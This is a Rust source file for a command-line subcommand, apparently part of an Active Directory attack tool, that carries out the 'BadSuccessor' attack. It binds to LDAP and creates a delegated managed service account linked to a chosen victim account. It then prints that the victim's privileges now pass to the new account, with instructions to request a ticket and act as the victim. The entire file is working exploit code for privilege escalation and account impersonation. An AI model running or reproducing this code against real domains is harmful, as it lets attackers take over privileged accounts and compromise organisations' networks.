use anyhow::Result;
use clap::Parser;
#[derive(Parser)]
pub(crate) struct BadsuccessorArgs {
#[arg(long)]
pub url: String,
#[arg(long)]
pub user: String,
#[arg(long, default_value = "")]
pub password: String,
#[arg(long)]
pub insecure: bool,
#[arg(long)]
pub container: Option<String>,
#[arg(long)]
pub dmsa_name: String,
#[arg(long)]
pub target: String,
}
pub(crate) async fn badsuccessor(mut a: BadsuccessorArgs) -> Result<()> {
use adhammer_collector::{Collector, LdapConfig};
a.password = crate::resolve_secret(&a.password, "ADHAMMER_PASSWORD")?;
let cfg = LdapConfig {
url: a.url.clone(),
bind_dn: a.user.clone(),
password: a.password.clone(),
base_dn: None,
insecure: a.insecure,
gssapi: false,
};
let mut c = Collector::connect(&cfg).await?;
let victim_dn = crate::target::to_dn(&mut c, &a.target).await?;
let base = c.base_dn().to_string();
let container = a
.container
.clone()
.unwrap_or_else(|| format!("CN=Managed Service Accounts,{base}"));
let name = a.dmsa_name.trim_end_matches('$');
let sam = format!("{name}$");
let dn = format!("CN={name},{container}");
let dns_domain: String = base
.split(',')
.filter_map(|p| {
p.trim()
.strip_prefix("DC=")
.or_else(|| p.trim().strip_prefix("dc="))
})
.collect::<Vec<_>>()
.join(".");
let dns_host = format!("{name}.{dns_domain}");
let attrs: Vec<(&str, Vec<Vec<u8>>)> = vec![
(
"objectClass",
vec![
b"top".to_vec(),
b"msDS-DelegatedManagedServiceAccount".to_vec(),
],
),
("sAMAccountName", vec![sam.as_bytes().to_vec()]),
("dNSHostName", vec![dns_host.as_bytes().to_vec()]),
("userAccountControl", vec![b"4096".to_vec()]),
("msDS-SupportedEncryptionTypes", vec![b"28".to_vec()]),
("msDS-ManagedPasswordInterval", vec![b"30".to_vec()]),
("msDS-DelegatedMSAState", vec![b"2".to_vec()]),
(
"msDS-ManagedAccountPrecededByLink",
vec![victim_dn.as_bytes().to_vec()],
),
];
c.add_object(&dn, attrs).await?;
println!("[+] created dMSA {dn}");
println!(
" → succeeds {} (PAC of the victim is issued to {sam})",
a.target
);
println!(
" Next: request a TGT as {sam} and use it as if it were {}",
a.target
);
Ok(())
}